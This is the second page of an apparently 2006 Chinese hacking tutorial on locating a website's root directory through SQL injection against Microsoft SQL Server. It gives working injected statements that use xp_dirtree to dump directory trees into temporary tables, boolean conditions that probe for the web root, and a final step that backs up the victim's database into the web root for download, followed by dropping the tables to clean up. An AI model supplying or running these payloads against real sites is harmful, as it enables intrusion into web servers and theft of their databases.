学院首页>安全防御>黑客技法>实用技术:快速获得WEB根目录的技巧

实用技术:快速获得WEB根目录的技巧

作者:刘震宇 来源:安全中国 添加时间:2006-5-26 13:17:42

然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:

declare @dirname varchar(255);set @dirname='

d:\'+(select top 1 dir from

(select top 1 dir from temp where depth

=1 and dir not in('Documents and Settings',

'Program Files','RECYCLER','

System Volume

Information','WINDOWS','CAConfig',

'wmpub','Microsoft UAM 卷') order by dir desc)

T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname

当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:

and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)

如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

现在,我们用同样的方法,再建立第3个临时表:

;create table temp2(dir nvarchar(255),depth varchar(255));--

然后把从D盘的website下的所有目录存到temp2中,语句如下:

declare @dirname varchar(255);set @dirname='

d:\website\'+(select top 1 dir from

(select top 1 dir from temp1 where depth=1

and dir not in('Documents and Settings',

'Program Files','RECYCLER',

'System Volume

Information','WINDOWS',

'CAConfig','wmpub',

'Microsoft UAM 卷') order by dir desc)

T order by dir);insert into temp2 exec master.

dbo.xp_dirtree @dirname

当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。

现在,我们用同样的方法判断该目录是否为根目录:

and (select count(*) from temp2 where dir<>'user')

<(select count(*) from temp2)

如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www

然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。

下载完数据库后要记得把三个临时表DROP掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。
(e129)

第 2 页,共 2 页 [1] [2]
站内搜索